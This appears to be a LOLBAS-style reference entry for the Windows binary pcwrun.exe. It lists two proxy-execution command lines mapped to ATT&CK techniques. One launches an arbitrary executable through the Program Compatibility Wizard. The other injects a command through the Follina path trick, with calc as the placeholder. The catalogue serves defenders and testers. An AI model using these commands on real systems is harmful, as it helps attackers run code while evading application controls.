Pcwrun.exe

type: OSBinaries
Program Compatibility Wizard

Full path

C:\Windows\System32\pcwrun.exe

Commands

  1. ExecuteUser T1218

    Proxy execution of binary

    Pcwrun.exe {PATH_ABSOLUTE:.exe}

    Open the target .EXE file with the Program Compatibility Wizard.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: EXE

  2. ExecuteUser T1202

    Proxy execution of binary

    Pcwrun.exe /../../$(calc).exe

    Leverage the MSDT follina vulnerability through Pcwrun to execute arbitrary commands and binaries. Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: EXE

Detection

Resources

acknowledgement: Pierre-Alexandre Braeken @pabraeken, Nasreddine Bencherchali @nas_bench